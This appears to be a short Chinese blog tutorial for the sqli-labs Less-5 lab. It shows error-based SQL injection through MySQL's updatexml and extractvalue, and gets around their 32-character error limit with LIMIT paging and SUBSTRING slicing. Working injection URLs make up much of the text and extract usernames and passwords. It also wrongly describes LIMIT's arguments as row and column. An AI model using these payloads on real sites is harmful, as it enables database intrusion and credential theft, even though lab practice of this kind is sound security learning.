解决updatexml和extractvalue查询显示不全

        报错注入是一种常见的SQL 注入方式,通过注入代码,触发数据库的错误响应,并从错误信息中获取有用的信息。

 updatexml和extractvalue  

        updatexml和extractvalue  是常用的两个报错注入函数

http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(%27~%27,(select%20user())),1)--+

解决updatexml和extractvalue查询显示不全_第1张图片

        updatexml() 函数和extractvalue()的报错内容长度不能超过 32 个字符,当我们查询的内容较短时可以完整显示,若查询内容较长,则导致我们要查询的的内容显示不全。

http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20group_concat(username,0x3a,password)from%20users),0x7e),1)--+

解决updatexml和extractvalue查询显示不全_第2张图片

        我们可以使用 limit或者分段显示的方式来解决

limit

limit函数包含两个参数,第一个参数表示行,第二个参数表示列,我们可以通过换参,逐个查看。

http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from%20users%20limit%200,1),0x7e),1)--+

limit 1 1     2 1   3 1   数据少了挨个试  数据多了写脚本 

解决updatexml和extractvalue查询显示不全_第3张图片

limit 8 1 的时候查到了admin 

解决updatexml和extractvalue查询显示不全_第4张图片

分段显示 substring

一次截32个  慢慢截

http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20substring(group_concat(username,0x3a,password),64,96)from%20users),0x7e),1)--+

解决updatexml和extractvalue查询显示不全_第5张图片

你可能感兴趣的:(面试问题,sql,数据库)